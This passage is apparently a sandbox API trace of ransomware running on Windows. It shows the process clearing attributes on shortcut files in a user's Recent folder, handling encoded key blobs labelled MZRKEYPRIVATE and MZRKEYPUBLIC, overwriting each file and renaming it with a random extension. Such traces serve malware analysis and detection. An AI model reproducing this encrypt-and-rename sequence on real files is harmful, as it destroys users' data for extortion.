lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf10eae0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x3d43d5a0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d43d5a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x976)) returned 1 [0082.923] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QsERwYTXRV.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\qserwytxrv.lnk")) returned 0x20 [0082.923] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QsERwYTXRV.lnk", dwFileAttributes=0x80) returned 1 [0082.925] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0082.925] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0082.927] GetCurrentThreadId () returned 0xa30 [0082.927] GetCurrentThreadId () returned 0xa30 [0082.927] GetCurrentThreadId () returned 0xa30 [0082.927] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0082.927] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0082.928] GetCurrentThreadId () returned 0xa30 [0082.928] GetCurrentThreadId () returned 0xa30 [0082.928] GetCurrentThreadId () returned 0xa30 [0082.928] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QsERwYTXRV.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\qserwytxrv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.928] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0082.928] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.928] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x976 [0082.929] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.929] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x976, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x976, lpOverlapped=0x0) returned 1 [0082.930] CloseHandle (hObject=0x124) returned 1 [0082.930] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QsERwYTXRV.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\qserwytxrv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.932] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x976, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x976, lpOverlapped=0x0) returned 1 [0082.934] CloseHandle (hObject=0x124) returned 1 [0082.947] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QsERwYTXRV.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\qserwytxrv.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QsERwYTXRV.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\qserwytxrv.lnk.zv7un")) returned 1 [0082.949] GetCurrentThreadId () returned 0xa30 [0082.949] GetCurrentThreadId () returned 0xa30 [0082.949] GetCurrentThreadId () returned 0xa30 [0082.949] GetCurrentThreadId () returned 0xa30 [0082.949] GetCurrentThreadId () returned 0xa30 [0082.949] GetCurrentThreadId () returned 0xa30 [0082.949] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe25df300, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe25df300, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe25df300, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3e1, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="QSsqvzc.lnk", cAlternateFileName="")) returned 1 [0082.949] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0082.949] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0082.949] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QSsqvzc.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\qssqvzc.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe25df300, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe25df300, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe25df300, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3e1)) returned 1 [0082.949] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QSsqvzc.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\qssqvzc.lnk")) returned 0x20 [0082.949] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QSsqvzc.lnk", dwFileAttributes=0x80) returned 1 [0082.952] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/